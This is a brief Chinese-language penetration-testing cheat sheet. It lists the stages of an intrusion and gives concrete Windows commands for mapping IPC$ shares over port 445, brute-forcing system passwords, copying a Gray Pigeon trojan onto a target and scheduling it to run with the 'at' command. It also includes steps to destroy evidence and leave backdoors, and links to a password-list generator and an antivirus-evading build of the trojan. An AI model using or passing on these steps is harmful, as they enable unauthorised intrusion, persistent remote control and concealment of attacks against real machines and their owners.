目录
简单渗透测试思路
0.授权
1.信息收集
- nslookup 域名 查IP
- nslookup whois 查子域名
2.扫描漏洞
-
nmap（扫描软件） scanport（端口扫描）
且利用 telnet 命令也可以探测：telnet IP 端口号，若标题变成 telnet 则说明开放
-
首先基础扫描 IP 范围 端口
-
然后再根据端口深入扫描 （IIS，apache，什么网站）
-
高级扫描：
扫描容器漏洞：如 IIS 漏洞 2003-IIS6.0 或 2008-IIS7.0 版本的
扫描网站漏洞（SQL 等）
3.漏洞利用
4.提权（shell环境、桌面环境 == 最高权限）
5.毁尸灭迹
6.留后门
7.渗透测试报告
简单渗透测试过程
1.445漏洞之 IPC$
net use f: \10.1.1.2share 密码 /user:用户 == 把分享文件映射到自己电脑
net use f: /del
net use * /del
net use \10.1.1.2IPC$ 密码 /user:用户 == IPC漏洞
2.暴力破解系统密码之445
- 软件：ntscan1.0 //也可用 hydra
- 用字典编写软件编写个字典
3.创建后门
- 用灰鸽子制作木马
- copy 植入木马
- net time \10.1.1.2 查看目标当前时间
- at \10.1.1.2 11:11 “c:windowssystem32heihei.exe” 创建一个计划任务，在11:11时运行exe文件
相关软件下载
真空密码字典生成器： https://lanzous.com/ibl5ywd
鸽子牧民战天免杀专版0912： https://lanzous.com/ibl5y7i
内网端口扫描ScanPort： https://lanzous.com/ibl5y1c